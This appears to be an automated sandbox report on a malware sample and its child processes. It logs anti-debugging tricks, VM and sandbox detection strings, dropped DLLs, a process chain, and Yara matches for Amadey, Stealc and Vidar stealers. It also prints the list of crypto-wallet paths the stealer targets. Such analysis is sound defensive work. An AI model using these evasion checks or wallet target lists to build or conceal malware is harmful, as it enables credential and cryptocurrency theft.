Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA4BED second address: DA4BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA4BF3 second address: DA4C03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F62FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA4C03 second address: DA4C2E instructions: 0x00000000 rdtsc 0x00000002 je 00007FDF311AD502h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e je 00007FDF311AD4F6h 0x00000014 pop ecx 0x00000015 pushad 0x00000016 push eax 0x00000017 pop eax 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA4C2E second address: DA4C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FDF304F62F6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA54F1 second address: DA54FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA57F7 second address: DA581A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jns 00007FDF304F630Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA581A second address: DA5824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FDF311AD4F6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA5986 second address: DA598A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA598A second address: DA59B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD4FEh 0x00000007 jmp 00007FDF311AD504h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA59B4 second address: DA59B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA59B8 second address: DA59BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA59BE second address: DA59C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EEF8E2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EEF9E2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 111B3B7 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Special instruction interceptor: First address: D9579F instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Special instruction interceptor: First address: DF6594 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C9579F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CF6594 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsIDGHDGIDAK.exe

Code function: 23_2_05540BFD rdtsc

23_2_05540BFD

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1008231001\fb1f3ab244.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 8000	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 8008	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7980	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7988	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 8076	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7996	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7996	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 8004	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7992	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8600	Thread sleep count: 97 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8600	Thread sleep time: -2910000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8600	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsIDGHDGIDAK.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBEC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CBEC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001B.00000002.2710867977.0000000000C4E000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: EHCAEGDH.0.dr	Binary or memory string: Interactive userers - NDCDYNVMware20,11696501413z
Source: EHCAEGDH.0.dr	Binary or memory string: tasks.office.comVMware20,11696501413o
Source: EHCAEGDH.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696501413h
Source: EHCAEGDH.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696501413
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: EHCAEGDH.0.dr	Binary or memory string: www.interactiveuserers.co.inVMware20,11696501413~
Source: EHCAEGDH.0.dr	Binary or memory string: dev.azure.comVMware20,11696501413j
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: EHCAEGDH.0.dr	Binary or memory string: Interactive userers - COM.HKVMware20,11696501413
Source: EHCAEGDH.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696501413
Source: file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2712835094.0000000001126000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: EHCAEGDH.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696501413\|UE
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: file.exe, 00000000.00000002.1987080237.0000000001572000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: EHCAEGDH.0.dr	Binary or memory string: bankofamerica.comVMware20,11696501413x
Source: EHCAEGDH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696501413}
Source: EHCAEGDH.0.dr	Binary or memory string: Interactive userers - non-EU EuropeVMware20,11696501413
Source: EHCAEGDH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696501413x
Source: EHCAEGDH.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696501413t
Source: EHCAEGDH.0.dr	Binary or memory string: Interactive userers - HKVMware20,11696501413]
Source: EHCAEGDH.0.dr	Binary or memory string: outlook.office.comVMware20,11696501413s
Source: EHCAEGDH.0.dr	Binary or memory string: Interactive userers - EU East & CentralVMware20,11696501413
Source: skotes.exe, 0000001B.00000002.2712835094.0000000001126000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWY
Source: skotes.exe, 0000001B.00000002.2712835094.000000000110E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: EHCAEGDH.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696501413u
Source: EHCAEGDH.0.dr	Binary or memory string: Interactive userers - GDCDYNVMware20,11696501413p
Source: EHCAEGDH.0.dr	Binary or memory string: Interactive userers - EU WestVMware20,11696501413n
Source: file.exe, 00000000.00000002.1987080237.000000000152E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: EHCAEGDH.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696501413
Source: skotes.exe, 0000001B.00000002.2712835094.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: EHCAEGDH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413
Source: EHCAEGDH.0.dr	Binary or memory string: www.interactiveuserers.comVMware20,11696501413}
Source: EHCAEGDH.0.dr	Binary or memory string: interactiveuserers.co.inVMware20,11696501413d
Source: EHCAEGDH.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696501413x
Source: EHCAEGDH.0.dr	Binary or memory string: global block list test formVMware20,11696501413
Source: EHCAEGDH.0.dr	Binary or memory string: outlook.office365.comVMware20,11696501413t
Source: EHCAEGDH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413^
Source: EHCAEGDH.0.dr	Binary or memory string: interactiveuserers.comVMware20,11696501413
Source: file.exe, 00000000.00000002.1986307750.0000000001071000.00000040.00000001.01000000.00000003.sdmp, DocumentsIDGHDGIDAK.exe, 00000017.00000002.2022762934.0000000000D4E000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000018.00000002.2067188045.0000000000C4E000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000019.00000002.2073889129.0000000000C4E000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 0000001B.00000002.2710867977.0000000000C4E000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: EHCAEGDH.0.dr	Binary or memory string: discord.comVMware20,11696501413f
Source: EHCAEGDH.0.dr	Binary or memory string: AMC password management pageVMware20,11696501413

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsIDGHDGIDAK.exe

Code function: 23_2_05540BFD rdtsc

23_2_05540BFD

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC35FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CC35FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CBD3480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A8652B mov eax, dword ptr fs:[00000030h]		27_2_00A8652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_00A8A302 mov eax, dword ptr fs:[00000030h]		27_2_00A8A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CC0B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CC0B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7928, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDGHDGIDAK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIDGHDGIDAK.exe "C:\Users\user\DocumentsIDGHDGIDAK.exe"
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe "C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe"
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Process created: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe "C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe"

Source: file.exe, 00000000.00000002.1986307750.0000000001071000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: kAProgram Manager
Source: file.exe	Binary or memory string: {kAProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC0B341 cpuid

0_2_6CC0B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBD35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CBD35A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 25.2.skotes.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.DocumentsIDGHDGIDAK.exe.b50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.skotes.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.2071721210.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2029497529.0000000005250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2067092916.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2022059982.0000000000B51000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2025424614.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2710533772.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.1979976382.0000000005330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2438369832.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.1458503621.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1985884053.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1987080237.000000000152E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7928, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7928, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
